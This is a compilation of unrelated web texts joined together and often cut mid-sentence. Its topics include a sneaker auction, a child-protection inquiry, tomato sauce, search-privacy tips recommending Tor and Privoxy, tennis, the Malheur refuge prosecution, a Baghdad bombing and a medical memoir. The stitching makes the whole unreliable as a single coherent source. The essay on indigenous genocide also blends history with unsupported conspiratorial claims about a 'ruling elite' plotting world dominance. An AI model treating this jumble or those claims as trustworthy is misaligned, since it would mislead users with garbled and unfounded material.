Heritage Auctions isn't totally explicit about how it acquired the sneakers, saying that they are from a private collector based in California who plans to donate a portion of the proceeds from their sale to the Make-A-Wish foundation.
Bidding for these sneakers, which will appear in a lot alongside other footwear (including Nike Mags) and art objects, begins on May 19 and runs till June 11. The estimated price for the shoes is listed at $200,000 and up.
Other Jordans for Bryant last year included two separate packs of Air Jordan 3s and Air Jordan 8s done in Los Angeles Lakers colors.
Scroll down for a full look at all of the shoes included in this historic collection of Jordans gifted to Kobe Bryant.A TROUBLED teen has given the Carmody Inquiry into child protection an expletive-ridden insight into the violent world of youth residential care.
The boy - who turns 17 this year - took the stand yesterday to tell lawyers about his life which includes round-the-clock staff, two cars, and a cleaning and cooking service.
The youth who gave evidence was removed from his mother when he was about 15 and now lives in a group residential home costing $800,000 per annum.
He was the only occupant for up to six months of last year.
The Carmody Inquiry has turned the spotlight on residential care after police gave evidence residential care homes - run by private companies and costing more than $1000 a day per child - are swallowing up police resources with constant callouts, often relating to violent crime, runaways and drug abuse.
Counsel Assisting Ryan Haddrick told the inquiry the cost of the homes was a "scandal" while other witnesses have questioned whether more than 600 youths living in residential care have any chance of improving their lives.
The 16-year-old boy who fronted the inquiry yesterday and cannot be named said the youth workers who cared for him had to do what he wanted in terms of cooking, cleaning and clothes washing.
"They have to bow to me," he said.
The boy also said he was aware no one could physically touch him by law.
His mother - "she never wants me back" - would slap him if he swore, he said.
But after moving into state care he had learned his rights.
"They are not allowed to belt anyone," he said.
Under cross-examination from Mr Haddrick, the youth appeared supremely confident.
He told Mr Haddrick that he looked forward to having his own subsidised unit to live in later this year, where he would only be required to pay 25 per cent of the rent - using welfare benefits to cover the cost.
The inquiry continues today.sauce made primarily from tomatoes, best known as a pasta sauce
For the table sauce referred to in some countries as tomato sauce, see Ketchup
Tomato sauce (also known as Neapolitan sauce, or salsa di pomodoro in Italian) can refer to a large number of different sauces made primarily from tomatoes, usually to be served as part of a dish, rather than as a condiment. Tomato sauces are common for meat and vegetables, but they are perhaps best known as bases for Mexican salsas or sauces for pasta dishes. Tomatoes have a rich flavor, high water content, soft flesh which breaks down easily, and the right composition to thicken into a sauce when they are cooked (without the need of thickeners such as roux). All of these qualities make them ideal for simple and appealing sauces.
In countries such as the United Kingdom, Australia, New Zealand, and South Africa, the term tomato sauce is used to describe a condiment similar to ketchup.[1] In some of these countries, both terms are used for the condiment.
The use of tomato sauce with pasta appears for the first time in 1790 in the Italian cookbook L'Apicio moderno, by Roman chef Francesco Leonardi.[2]
Description [ edit ]
The simplest tomato sauce consists just of chopped tomatoes cooked down (possibly with olive oil) and simmered until it loses its raw flavor. Of course, it may be seasoned with salt, or other herbs or spices. Optionally, tomato skins may be scalded and peeled according to texture (especially thicker pelati paste varieties) and tomato seeds may be removed for aesthetic purposes, leaving just the tomato flesh and pulp.
Just like tomato puree or tomato paste, tomato sauce may be one of the ingredients in other dishes, like a tomato-based soup. The sauce is thinner than either the puree, or the paste (which is the thickest), and it may have additional flavors.
Water (or another, more flavorful, liquid, such as stock or wine) is sometimes added to keep it from drying out too much. Onion and garlic are almost always sweated or sautéed at the beginning |
sends your Internet traffic through a series of randomly selected computers, thus obscuring the source and route of your requests. It allows you to communicate with another computer on the Internet without that computer, the computers in the middle, or eavesdroppers knowing where or who you are. Tor is not perfect, but it would take a sophisticated surveillance effort to thwart its protections.14
You also need to make sure that your messages themselves don't reveal who you are. Privoxy (http://www.privoxy.org) helps with this, because it strips out hidden identifying information from the messages you send to web sites. Privoxy also has the nice side benefit of blocking most advertisements and can be configured to manage cookies. (Privoxy comes bundled with Tor downloads.)
You can also use web proxies like Anonymizer's (http://www.anonymizer.com) Anonymous Surfing. This option is more user-friendly but possibly a less effective method of anonymizing your browsing. Anonymizer routes your web surfing traffic through their own proxy server and hides your IP address from whatever web sites you visit. However, Anonymizer itself could in principle have access to your original IP address and be able to link it to the web site you visited; therefore, that service is only as secure as Anonymizer's proxy facilities and data retention practices. While there is no reason to believe that Anonymizer looks at or reveals your information to others (we know the people currently running Anonymizer and they are good folks), there is little opportunity to verify their practices in these regards.
Using Tor and Privoxy is more secure because one untrustworthy proxy won't compromise your search privacy. On the other hand, web proxies like Anonymizer are slightly easier to use at present.
Tor and Privoxy downloads and instructions can be found here: http://www.torproject.org/download.html.en
Conclusion
If you've implemented all six tips, congratulations -- you're now ready to search the Web safely. These steps don't provide bulletproof protection, but they do create a strong shield against the most common and likely means of invading your privacy via your search history.
1 For more on the disclosure, see http://eff.org/Privacy/AOL.
2 See http://www.nytimes.com/2006/08/09/technology/09aol.html.
3 See http://eff.org/Privacy/search for documents related to Google's challenge. The logs were to be used as evidence in a case in which the government is defending the constitutionality of the Child Online Protection Act (COPA). See also http://news.com.com/FAQ+What+does+the+Google+subpoena+mean/2100-1029_3-6029042.html and http://news.com.com/Judge+Google+must+give+feds+limited+access+to+records/2100-1028_3-6051257.html.
4 The search providers' have so far been unreasonably tight-lipped about their specific practices regarding search logging. For some insight, see http://news.com.com/Verbatim+Search+firms+surveyed+on+privacy/2100-1025_3-6034626.html?tag=nl and http://www.mercurynews.com/mld/mercurynews/news/breaking_news/15315062.htm.
5 Or your MySpace profile, personal blog address, or other similar personal information.
6 Advanced tip: you could also use two profiles for one browser. For instance, if you run Mozilla Firefox with the -ProfileManager flag, it will let you choose a profile. To learn more, visit http://mozilla.org/support/firefox/profile. Mozilla Seamonkey has a "Switch Profile" command in the "Tools" menu. Pick a different theme/skin for each profile so you can tell which one you are using. To learn more, visit http://kb.mozillazine.org/Profile_Manager. With Internet Explorer, you may need to use two separate Windows user accounts.
7 Otherwise, your two separate browsers' activities could be linked by IP address, as discussed below.
8 Mail.google.com and google.com leave some additional cookies that will identify you while searching, but which CustomizeGoogle (and GoogleAnon) will not anonymize. Unless you remember to quit your browser, some of those cookies persist even if you logout of Gmail. Future versions of these privacy-protection tools may help fix this problem.
9 There is another Firefox plugin intended to protect your search privacy called TrackMeNot (http://mrl.nyu.edu/~dhowe/trackmenot/). At present, we cannot recommend TrackMeNot. For one thing, it may actually make it easier for search engines to link your searches together (the fact that you're using the plugin is distinctive). Moreover, although it may create some uncertainty about aspects of your search history, it does not hide personally identifying information or the bulk of your most sensitive searches. For further criticisms, see http://www.schneier.com/blog/archives/2006/08/trackmenot_1.html.
10 The search engine may also be able to pick you out of the crowd based on an unusual browser, operating system, language setting, or other atypical HTTP headers. The software recommended in Tip 6 can be used to impede these methods as well.
11 So long as you haven't logged in; see Tip 3.
12 You can select "ask me every time" if you want more control, although the current Firefox user interface is not very good for this purpose. At this time, the Mozilla Seamonkey browser is more suitable if you wish to have fine-grained control over cookies.
13 You can find out your IP address by visiting a site like http://myipinfo.net. Ask your ISP if you have trouble determining whether your IP address changes.
14 For a technical discussion of this subject, see http://www.cl.cam.ac.uk/~sjm217/papers/oakland05torta.pdf.David Goffin has kicked off his campaign to win a maiden Year-End Championship title in victorious fashion. In his second appearance at the event, he has started extremely positively, pulling off the biggest win of his career.
In an engaging contest with the legendary 31-year-old lefty from Mallorca, the 26-year-old Belgian summoned his resources to stake out an early lead in Group Pete Sampras. Despite some erroneous overrules from the chair umpire, Goffin kept his wits about him, breaking in the third game of the match. He promptly consolidated his lead in the following game, to lead by three games to one. On the big stage, the popular Belgian showed few nerves, and rallied behind rousing crowd support.
Dismiss him at your peril… This man has a break against Rafa Nadal. @David__Goffin leads 3-1.#NittoATPFinals pic.twitter.com/7WLr6mpzlE — Tennis TV (@TennisTV) November 13, 2017
The resilient Nadal, as ever, bounced right back with a break of his own to level the match at 3-3. He remains one of the toughest in the game to put away. However, in the 11th game, Goffin took his second break chance, striking a scintillating inside-out FH winner. The Belgian failed to seize on his advantage, however, handing the break right back, courtesy of two double faults. The first set tiebreak went the way of… At 3-2, Goffin missed a golden opportunity, flubbing a FH on a sitter that would have put him up a mini-break. A missed volley by the Spaniard at 4-3 did the trick, though. A netted forehand by Goffin two points later, though, leveled the breaker once more. With steely resolve (and despite four double faults), the bearded Belgian secured the mini-break and the first set, in 55 minutes.
🚨 Upset alert 🚨 Goffin wins the first set 7-6(5) against Nadal.#NittoATPFinals pic.twitter.com/BcXFAdzgiF — Tennis TV (@TennisTV) November 13, 2017
The second set was initially drama-free, remaining on serve through the first five games. It must be noted that while Goffin was equal to the task, he did net a fair few balls, and sprayed some as well. Had he landed these, it would have made his job that much easier. Nadal did not appear hampered by any means. His usual bravado was decidedly muted, though. Leading by 4-3, on Nadal’s serve, Goffin hit a curling FH down-the-line winner that got him off on the right foot in the game. After a lengthy subsequent rally, Nadal cracked and committed an error to bring it to 0-30. A clinical return netted Goffin the break. A golden opportunity was presented on a silver platter, as he would serve for the biggest win of his career. He failed that test, however, and Nadal broke straight back. He then held his own serve, controversially, to back up that break, and things were level at five, apiece.
Goffin held his own serve, and it was up to Nadal to hold up his end of the bargain and send it to a second set tiebreaker. He quickly fell into a 0-40 hole, but saved all three match points. Nadal went on to take the game, and was back from the brink, once again.
In the second set tiebreak, Goffin secured the immediate mini-break. Nadal later edged ahead with a trademark bolo forehand down the line. He went on to secure that breaker. He saved four match points in the second set, and turned the match on its head. You’ve got to doff your cap to the vintage stylings of Rafael Nadal.
Never give up. Never give in. FOUR match points saved – Rafa Nadal levels the scores. We’re going to three at the #NittoATPFinals… pic.twitter.com/dlJqk9tjrH — Tennis TV (@TennisTV) November 13, 2017
In the deciding set, Nadal’s backhand came alive. Another comeback for the ages in the books for the Spaniard. At 1-1, the slightly built challenger broke, as Nadal sent an errant drop shot wide. With a speedy consolidation, he was off to the races. Yet another twist in the sixth game, though, as Nadal got back one of the breaks. Although Goffin served up his share of double faults, 13 aces served him nicely. Nadal served to stay in the match at 3-5, and once again, Goffin was within a game of the match. Another hold from the Spaniard put the outcome on Goffin’s racquet. This time he got the job done, in 2:37:45. Despite some difficulty closing out his opponent, it was a very fine all-around performance from the Belgian.
He's done it!@David__Goffin produces a #NittoATPFinals shock to beat World No.1 Rafa Nadal for the very first time, winning 7-6(5) 6-7(4) 6-4. pic.twitter.com/ujtSf2GUtB — Tennis TV (@TennisTV) November 13, 2017
Heading into the match, there had been some question about the status of Nadal’s knee. He bore no strapping, and showed no ill effects, whatsoever, which bodes well for his chances here in London. For his part, Goffin looked well, despite the highly visible strapping on his left knee. Good news for the well-liked Belgian after his gruesome ankle mishap at Roland Garros.
Nadal is now 2-1 against the world number eight, with all three matches having been contested this season.
This nightcap concludes the action at the ATP Finals for today. Group play is set to continue at the Nitto ATP Finals on Wednesday afternoon when Roger Federer will be in action once more.NEWS ALERT! For Reacher Creatures in the US, Paramount Pictures is holding 40 VIP seats at each of five screenings on October 18th in NYC, Chicago, Houston, Phoenix and Cleveland. These tickets are first come, first served only so don't delay!
Click here to enter for a screening ticket.
You've seen the trailers, the online ads, the banners in big cities (Jack Reacher looming over Times Square? Now it's not only in my dreams...) so you're all aware that
On the heels of the movie comes
I'm sure you're all wondering where Lee will be touring for
Happy reading!
Webmaven Maggie
Team Reacher
You've seen the trailers, the online ads, the banners in big cities (Jack Reacher looming over Times Square? Now it's not only in my dreams...) so you're all aware that JACK REACHER: NEVER GO BACK will be released worldwide on October 21st! Lee and Team Reacher saw the movie a few weeks ago and can't wait to share it with you. Cobie Smulders as Susan Turner? She's fantastic! Danika Yarosh as Sam? You're gonna love her. Tom Cruise as Reacher? He thinks like Reacher, talks like Reacher, he's riveting onscreen. JACK REACHER: NEVER GO BACK is exciting, and funny, and could very well tug hard on your heartstrings.On the heels of the movie comes NIGHT SCHOOL on November 7th in the US, Canada, UK, Ireland, Australia, and New Zealand. Woo Hoo! By now you know it's a prequel, Reacher's back in the Army and they've sent him to school. Frances Neagley joins him shortly thereafter and there's a cameo from Manny Orozco. If I told you any more about it, I could spoil surprises but if you really really want to know...scroll down this page for a nice long excerpt.I'm sure you're all wondering where Lee will be touring for NIGHT SCHOOL. He is touring the US and UK but we only have a few confirmed events so far on the website EVENTS page. Please be patient, hold your horses, keep your keystrokes to a minimum :), and we'll get you that tour info as soon as we have it. Thanks!Happy reading!Team ReacherVery excited to announce that we’ve partnered with Alpha Payments Cloud to power AlphaHub merchants to accept Bitcoin payments globally!
Through a single, simple API integration, online merchants have access to the AlphaHub platform and can add Bitcoin functionality in a matter of clicks as an alternative payment method and gain access to a targeted demographic of more than 7 million active Bitcoin users worldwide.
The Snapcard team created a knowledge hub, training and educational sessions, and a dedicated referral page to make on-boarding extremely easy for both AlphaHub users and all internal parties involved.
We had a great time getting Alpha Payments Cloud integrated with Bitcoin and we’re extremely excited for our partnership in the months to come.
If you’re an Alpha Payments Cloud merchant, or if you’re generally interested about bitcoin, you may learn more about this partnership here: info.snapcard.io/alpha-payments/
Alpha Payments Cloud now joins the 4,000+ merchants that accept bitcoin through Snapcard.
Thank you.
Jack JiaVancouver’s mayor fired back today after his city was labelled as “boring” by The Economist magaine.
Not just any kind of boring. The mind-numbing kind.
“It’s true that Vancouver lacks the stressful vibe of cities where guns, muggers and freeways threaten one’s daily existence,” Mayor Gregor Robertson told me in a statement.
“But we compensate for our lack of garbage and smog with deep culture, breathtaking nature and intense recreation.”
The mayor was responding to the magazine’s “Gulliver” business travel feature, written by correspondents, and its description of Vancouver, Vienna and Geneva as dull.
It was actually something of an endearing rant on adventure and romance lost, about how “nicer places” become “less interesting.”
The writer found this on a trip to New York, which is no longer the adventure-filled metropolis it was two decades ago because the streets now “feel safe” and the subway is functional.
It’s now “pleasant,” which may be progress but a tad disappointing to a tourist “raised on the romance” of the Big Apple.
“But, here’s the thing: Where is the fun in nice,” the writer asks.
Actually, his or her bottom line is that he or she wouldn’t prefer the 1980s iterations of New York and London, but rather the “idea” of them, complete with dirt and danger.
Nonetheless, their 2015 versions still aren’t as dull as Geneva or Vancouver.
The writer does give a nod to its “livability” reports, guides for companies with expatriate employees.
“The trouble was, measuring things such as crime levels, transport efficiency and housing stock, meant that the most anodyne cities inevitably rose to the top,” the Economist says.
“Vienna, Vancouver and Geneva always seemed to do well. Pleasant cities, yes, but mind-numbingly boring. What right-minded person would rank Vienna a better city than Rio, or Vancouver preferable to Paris?”
(For the record, I love Vancouver and think it’s exciting.)
"Adventure is in our DNA" Gregor Robertson
Here’s the rest of Mr. Robertson’s response:
“We are the world’s third most culturally-diverse city with the food, arts and festivals to show for it. We are 2 million entrepreneurial souls surrounded by ocean beaches, towering forests, and mountain wilderness.
“We didn’t destroy our nature – we have a thousand acre ancient forest in our downtown, right next to the largest working port on the west coast of North America.
“Despite being a very safe city, there’s plenty of grit here and we don’t hide our vulnerabilities. Some of our poorest and wealthiest neighbourhoods are side by side, but we grapple with our urban challenges head on and take care of each other.
“Adventure is in our DNA. People come here from all over the world because we crave and create a spirited life. But Vancouver is not for those who seek a rush from violent crime or need their culture spoon-fed.”
Who could ask for more in a mayor, by the way?
His website describes Vancouver’s Mr. Robertson as a soccer and hockey fan. Okay, the Canucks are boring but where else could you find a mayor who “can occasionally be seen around town playing his tuba or drums?”
And speaking of mayors, Toronto didn’t used to be boring."It is much more than a protest," Ammon Bundy wrote on Facebook, two days before he and a group of people led an armed takeover of the Malheur National Wildlife Refuge. It would last 41 days.
Twenty-six people have been indicted in connection with the takeover. Nine have pleaded guilty. A 10th — Joseph O'Shaugnessy — pleaded guilty on Monday morning.
O'Shaughnessy appeared in federal court in Portland to plead guilty to one count of conspiring to impede federal employees from doing their work.
It is part of a plea deal that will also settle charges against him in Nevada where he is charged in connection with the 2014 standoff with Bureau of Land Management officers at Bunkerville who were trying to impound cattle belonging to Cliven Bundy, father of Ammon and Ryan.
When O'Shaugnessy is sentenced in Oregon in December, it's expected that he will receive 12-15 months in prison that will be served at the same time as the six years that he is expected to receive in Nevada.
O'Shaughnessy, who is known as "Captain," helped provide security at the refuge, though he maintains he never spent a night there. He said he agreed with the protesters' message but not the takeover of the refuge.
The remaining 16 people are scheduled to go on trial in two separate groups — one starting Sept. 7 and the other group on Feb. 14, 2017.
O'Shaughnessy is one of seven people charged in both Oregon and Nevada. He is the fourth to plead guilty.
In preparation for the September trial — against Ammon Bundy, his brother Ryan, Shawna Cox, Pete Santilli, David Fry, Jeff Banta, Kennth Medenbach and Neil Wampler — prosecutors on Friday filed documents previewing their case.
"Through their combined efforts, these men and women would steadily fortify their hold on the property, as its employees stayed away in fear," prosecutors wrote.
These efforts, say prosecutors, included: replacing Fish and Wildlife Service signs with their own; taking over the kitchen; sleeping in the bunkhouse; driving Refuge-owned vehicles; breaking into safes; stealing gas; attempting to access employee computers; using heavy equipment to build a road; building a bunker; and digging a trench that they filled with trash.
Prosecutors say that to "fortify their hold on the Refuge, defendants also set up military style teams to enforce security. They placed armed guards in a tower on the property, armed guards at the front and rear gates, and had armed teams patrolling different parts of the Refuge."
"We have a lot of work to be able to unwind the unconstitutional land transactions that have taken place here," Ammon Bundy is quoted as having said on Jan. 4.
The takeover of the refuge was felt in the nearby town of Burns, where school was canceled as well as other events.
"Meanwhile, many local residents were harassed and felt threatened because of the increased militia presence in Burns that was brought about by the occupation," prosecutors write.
"And while there is no dispute that some residents supported the goals of the occupation, defendants' presence was fundamentally disruptive to the community."
While the takeover finally ended after 41 days, prosecutors say that several main buildings on the refuge remain unusable.
The filing by prosecutors indicates that they plan to take the jury back to Nov. 5, 2015 when Ammon Bundy and and Ryan Payne met with Harney County Sheriff David Ward.
The two wanted Ward to make sure that he prevented two local ranchers — Darryl and Steven Hammond — from having to go to jail.
Bundy insisted that Ward had a constitutional duty to stand up to federal officials and if he chose not to do that "we will bring thousands of people here to do job for you."
Prosecutors admit that Bundy and the others had a right to protest what was happening to the Hammonds but said the First Amendment does not provide a defense "to words or actions that incite imminent criminal activity."
They will take jurors to Jan. 2 when Ammon told people in the parking lot of the Safeway in Burns to follow him "to make a hard stand."
He then led a convoy to the refuge, which they took over. The next day he told reporters that they would use the refuge as a base for patriots and that he anticipated it lasting several years.
Prosecutors plan to show jurors how Pete Santilli posted hundreds of pages of Bureau of Land Management paperwork stolen from an office at the refuge online.
They will tell jurors how Shawna Cox told investigators that those who had taken over the refuge were prepared to use weapons against government agents from entering the refuge.
Prosecutors also included a list of 674 exhibits that they plan to introduce at trail including:
Guns, ammunition, photos, text messages between some of the defendants, Facebook posts by many of the defendants, interviews some of the defendants gave to reporters, signs, video of defendants firing weapons, and Ammon Bundy's notes of what each person was responsible for.2014 Stadium Series Jersey Unveiled
The Chicago Blackhawks have unveiled the team’s jersey for their March 1 game vs. the Pittsburgh Penguins at Soldier Field.
Jerseys are available now at the Blackhawks Store on Michigan Ave. as well as the store inside the United Center.
Stadium Series Jersey Uniform Specs Photo Gallery "Back in Black" video
The Blackhawks 2014 Coors Light NHL Stadium Series™ uniforms utilize colors within the teams’ existing color palates. Each jersey features chrome-treated logo designs that are unique to the NHL Stadium Series and inspired from the chrome details in the NHL® shield, bringing a dynamic and modern perspective to conventional team identities. The chrome crest was developed using new technology that fuses print and embroidery and allows logos to be displayed as a high-resolution image incorporated into the crest. This technology also reduces the weight of the crest, resulting in a lightweight jersey to help improve athlete performance.
Numbering on the back of the jersey is enlarged and sleeve numbers are angled to improve visibility in outdoor venues.A Chinese military officer argues that "Pacific Rim" is nothing more than U.S. propaganda that shows Americans using smarts and technology to battle giant monsters -- while the Chinese only seem interested in eating their flesh.
In an op-ed for the PLA Daily, Zhang Jieli, an officer in the country's People's Liberation Army, warns his fellow soldiers to erect a "firewall" to prevent themselves from being influenced by American movies.
"Hollywood has always been the United States' best propaganda machine," he wrote.
Also read: Hollywood's Trouble With China? It Has All the Leverage
The original op-ed is in Mandarin, but according to China.org, which translated the piece, Jieli wrote, "The decisive battle against the monsters was deliberately set in South China Sea adjacent to Hong Kong...The intention was to demonstrate the U.S. commitment to maintaining stability in the Asia-Pacific area and saving the mankind."
But while the American characters study the monsters and create machines to battle them, the Chinese are depicted as harvesting their bodies for food and trinkets.
Spokespeople for "Pacific Rim"s' producer Legendary Pictures and distributor Warner Bros. declined to comment, but it's worth nothing that ideology aside, "Pacific Rim" is a sizable hit in China. The film did not perform well in the United States, but has made $106 million in three weeks of release in the People's Republic.
China recently surpassed Japan as the second largest market for films in the world. In 2012, it contributed $2.7 billion in box-office revenue which represented a 36 percent jump from the previous year.
Related Articles:
China Box Office Will Surpass U.S. by 2020 (Study)
Hollywood's Trouble With China? It Has All the Leverage
'Elysium' Scores China Release in September (Exclusive)Oh wow, I really wish I knew your username so I could thank you in person!!! (I don't see it anywhere and it wasn't on the shipping label... please comment or PM me if this was you! I would love to send you thank-you cards!)
I teach in rural Alaska, in a town of 200 people. It's off the road system and accessible only by bush-plane. Getting supplies into town is hard, and the cost of shipping is a bitch. Because of this, I wasn't even sure I would get matched with anyone. He or she might have given up because the package took a wicked long time to get here... BUT IT DID!
Demo-wise, my kids are poor, mostly Native Alaskan. Lots of them are being raised by grandparents. They are wild and crazy and (as you will soon see) cute as hell.
Our awesome donor gave 65 (!!!!!!) robotic toy bugs (known as HEXbugs) to my class of preschool through second grade kids. We don't have a lot of cool supplies for science, so we are definitely going to use these for a unit on experimentation--I'm thinking building mazes and seeing how fast the HEXbugs can move through them.
Thank you, thank you so much. My kids are freaking STOKED. We also had a nice talk about donation and about someone who doesn't know them (which blows their mind because they live in a town where everybody knows everybody) was nice enough to send them cool toys to use in class. I am going to let them each have one once the unit is over, as well.
Here is a link to the kids playing with them:Scholars have estimated that, prior to the ‘discovery’ of the Americas by Europeans, the pre-contact era population could have been as high as 100 million people. American anthropologist and ethnohistorian Henry F. Dobyns, most known for his published research on American Indians and Hispanic peoples in Latin and North America, estimated that more than one hundred and twelve million people inhabited the Americas prior to European arrival. He approximated that ten million alone inhabited an area north of the Rio Grande before European contact. In 1983, he revised that number to upwards of eighteen million. (source)(source)(source)
It’s also important to note that other scholars have estimated the number to be as low as ten million, and everything in between. For example, William M. Denovan, Professor Emeritus of Geography at the University of Wisconsin-Madison, believes there were approximately fifty four million inhabitants. (source)
The important point to take from this is that there were already a lot of people inhabiting the Americas prior to European contact. People that were advanced, with extensive knowledge of medicine, the cosmos, and much more.
What happened when “first contact” transpired? A massive decline of the indigenous population, that’s what. It’s one of, if not the, most dramatic declines of population in the known history of our planet.
The number of Native Americans quickly shrank by roughly half right after European contact. This alarming transformation is attributed to disease, warfare, enslavement (Indian slave trade), and a disruption of the social systems of the indigenous, all of which had devastating effects on the populations that inhabited the Americas. (source)
Think about this for a moment. A population which was somewhere in the range of ten million to a possible one hundred million people shrank to a few hundred thousand by 1900…
This was, as many scholars believe, nothing short of an extermination, which we can attribute to various causes. David Stannard, American historian and Professor of American Studies at the University of Hawaii, reveals in his work that the native people were caught between imported plagues and barbarous atrocities, which resulted in the annihilation of 95 percent of their populations. In his book American Holocaust, he asks what kind of people would do such horrendous things to others. He and many others emphasize that the perpetrators of the American Holocaust drew on the same ideologies as would later the architects of the Nazi Holocaust. (source)
It doesn’t seem like things have changed much at all. Prior to the arrival of the Europeans, the Catholic Church had completely taken over Europe, wielding their power to control both people and ideas. There was no seperation of Church and state, as all citizens were required to abide by the rules and beliefs of the church. If not, they were deemed outlaws and heretics, and were even hunted and killed. This type of activity and “brainwashing,” so to speak, can be traced back all the way to ancient Rome, and all the way forward into our very recent history. Its influence can be seen in the mass brainwashing and manipulation of our minds today. This point is also made clear by Stannard.
In Canada, for example, “residential schools” were set up all over the country. These were government-sponsored religious schools established to assimilate aboriginal children into Euro-Canadian culture, a culture that was made by the ruling elite for everyone else to “fit” into. This system originated in France not long after the arrival of the Europeans into the Americas, and was originally conceived by Christian churches and the Canadian government to educate (brainwash) and convert aboriginal youth and to integrate them into Canadian society.
But was that the real purpose?
When I say Canadian government, I mean the Department of Mining and Natural Resources. In the 1930s, the headmasters of the residential schools were made the legal guardians of all native children, ripping them away from their parents under the oversight of the Department of Mines and Resources. All parents were forced to surrender legal custody of their children to a principal or a church employee, or face imprisonment. A few years later, “Indian Affairs” was taken over by the Federal Government’s Citizenship and Immigration Office. (source)(source)(source)
Children were killed, abused, and raped at these schools. They were also subjected to nutritional experiments by the federal government in the 1940s and the 1950s, and were used as medical test subjects as well. Many of these victims and their bodies have vanished without a trace.
Apart from the massive genocide that killed millions, the residential school program itself is considered to be a genocide. Below are three statements that shed light on the harsh reality of what went on:
“I was just eight, and they’d shipped us down from the Anglican residential school in Alert Bay to the Nanaimo Indian Hospital, the one run by the United Church. They kept me isolated in a tiny room there for more than three years, like I was a lab rat, feeding me these pills, giving me shots that made me sick. Two of my cousins made a big fuss, screaming and fighting back all the time, so the nurses gave them shots, and they both died right away. It was done to silence them.” – Jasper Jospeh, a sixty four year old native man from British Columbia, speaking while his eyes filled with tears. (source) “We do know that there were research initiatives that were conducted with regard to medicines that were used ultimately to treat the Canadian population. Some of those medicines were tested in aboriginal communities and residential schools before they were utilized publicly.” – Chief Wilton Littlechild of the Truth and Reconciliation Commission. (source) “We believe that what’s already been exposed represents only a fraction of the full, true and tragic history of the residential schools. There are no doubt more revelations buried in the archives.” – Assembly of First Nations Regional Chief Bill Erasmus (source)
Aboriginal people in Canada, in our very recent history, were deliberately killed, and this has been confirmed by eyewitness testimony, documents, government records, and statements of Indian agents and tribal elders. Some estimate the mortality rate in residential schools to be upwards of fifty percent. We are talking about more than 50,000 native children across Canada, possibly more. (source)
The massive genocidal campaign that started hundreds of years ago has continued until this very day. And the fact that this system operated under legal and structural conditions which encouraged, aided, and abetted murder is disturbing to say the least.
Keep in mind, these horrors were perpetrated in Canada; one can only imagine what went on in the United States and South America. So much of our history is hidden from us. The United States alone classifies more than 500 million pages of documents each year. For a historian looking to examine and preserve the history of their nation, how are they supposed to do this when most of their history is being kept hidden or even deliberately altered?
Concluding Comments & Why This Information Is So Relevant
Our recent history has shown us that there was a major genocide in Canada – a deliberate mass murder of the indigenous populations by the ruling elite in order to take over their land and its resources and establish their dominance, just as the same group of elite was doing all over the world. This is very recent history, and the brainwashing/assimilation campaign of all people (not just indigenous) continues today. The world has become extremely “Americanized.” Through mass marketing and assimilation tactics, we have been manipulated into leading the same lives and following the same path. This “plan” of “world dominance” and global takeover seems to have started hundreds, if not thousands, of years ago and has extended itself all the way to the present day.
So what can we do now? We can listen to the message of the core of indigenous cultures that occupied this land before we did. It’s time for us to return to our roots, and stop destroying the planet as we have been for so many years. If we don’t choose to change now, it does not look like we will be moving forward.
It is this type of message which we should take from our recent, ugly history. Messages about love, respect, oneness, our connection to mother Earth and our spiritual heritage… among other things.
We are part of Creation, thus, if we break the laws of Creation we destroy ourselves. We, the Original Caretakers of Mother Earth, have no choice but to follow and uphold the Original Instructions, which sustains the continuity of Life. We recognize our umbilical connection to Mother Earth and understand that she is the source of life, not a resource to be exploited. We speak on behalf of all Creation today, to communicate an urgent message that man has gone too far, placing us in the state of survival. We warned that one day you would not be able to control what you have created. That day is here. Not heeding warnings from both Nature and the People of the Earth keeps us on the path of self destruction. This self destructive path has led to the Fukushima nuclear crisis, Gulf oil spill, tar sands devastation, pipeline failures, impacts of carbon dioxide emissions and the destruction of ground water through hydraulic fracking, just to name a few. In addition, these activities and developments continue to cause the deterioration and destruction of sacred places and sacred waters that are vital for Life. – Chief Looking Horse (you can view a video of him making this statement here)Two central Baghdad hotels have been rocked by explosions that reportedly killed at least 10 people, according to police and medical sources.
The apparently coordinated blasts targeted the five-star Cristal Grand Ishtar(formerly Sheraton) and Babylon hotels in the center of the Iraqi capital.According to medical and police sources cited by Reuters, at least 10 people were killed.Another 30 people were reportedly injured.
The first car bomb exploded close to the recently renovated Babylon hotel. A second blast just minites later went off close to the Ishtar hotel, also reportedly damaging the adjacent Al-Alawiyah club.
The attack comes amid turbulence and almost daily violence which Iraq has been witnessing ever since the US invasion back in 2003. It starting peaking again across 2013, during which more than 9,800 died, and escalated even further after the Islamic State militants overrun large parts of the country. Only earlier this year, the Iraqi government lifted a night-time curfew in Baghdad that has been in place for over a decade.
Aftermath of the explosion that rocked the Babylon Hotel in Baghdad. #Iraqpic.twitter.com/HhDSK7VMT6 — Iraqism (@Iraqism) May 28, 2015
Despite the US-led coalition airstrikes, the Islamic State jihadists are still controlling the strategic city of Ramadi west of the capital, with clashes with government forces regularly happening as close as 30 kilometers to Baghdad. The terror group has previously claimed responsibility for many of the bloody attacks in the country.Democrats in Wisconsin accused a Republican state lawmaker of putting factory and mercantile workers’ chances for rest at the mercy of their employers, the Madison Capital Times reported.
State Rep. Mark Born’s (R) proposal would allow workers in those fields to “voluntarily choose” to waive the state requirement of at least one “day of rest in seven.” The bill is being co-sponsored in the state Senate by another |
an old, homemade zip line. I’ve always been adventurous, so I was thrilled to try it. All of us went across the zip line once with no problems. But on my second try, I heard a loud snap. The zip line broke, and I was hurled to the sharp rocks below. I got a nasty gash on my left leg and had to go to the hospital, where I was given 22 staples to close the wound.
If only that was the worst of it.
A few days after the injury, I knew something wasn’t right. Even though I was given antibiotics, my leg didn’t seem to be responding or getting better. Instead, the pain in my leg felt like it was moving to different parts of my body, which didn’t make sense. Then one morning, I woke up and discovered my entire left leg looked like it was rotting. I couldn’t speak, and I felt like I was dying. What happened next remains a blur.
I was rushed to the hospital, where doctors eventually diagnosed me with necrotizing fasciitis—also known as flesh-eating bacteria—a bacterial infection that was destroying my tissue. The infection wasn’t responding to antibiotics. If doctors didn’t act fast, the bacteria would kill me quickly.
Copeland before her infection Courtesy Aimee Copeland
I was airlifted to a hospital in Augusta, and upon arriving, doctors told my parents that my organs were starting to fail. They asked for their permission to amputate my left leg and some of my abdomen to stop the bacteria from spreading to other parts of my body. I don’t remember much from this initial surgery since I was on life support, going in and out of consciousness. My parents said that every time I woke up, I would ask them where I was and how I got there. Each time I would react like it was the first time they were telling me. It was traumatizing for all of us.
MORE: Why Bacteria Are More Threatening Than Ever
